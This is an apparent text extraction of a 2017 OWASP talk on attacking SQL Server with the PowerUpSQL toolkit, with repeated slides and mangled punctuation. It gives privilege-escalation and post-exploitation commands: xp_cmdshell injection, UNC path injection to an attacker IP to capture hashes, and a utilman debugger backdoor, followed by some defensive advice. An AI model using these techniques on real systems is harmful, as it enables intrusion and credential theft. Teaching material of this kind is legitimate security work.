Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 25: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

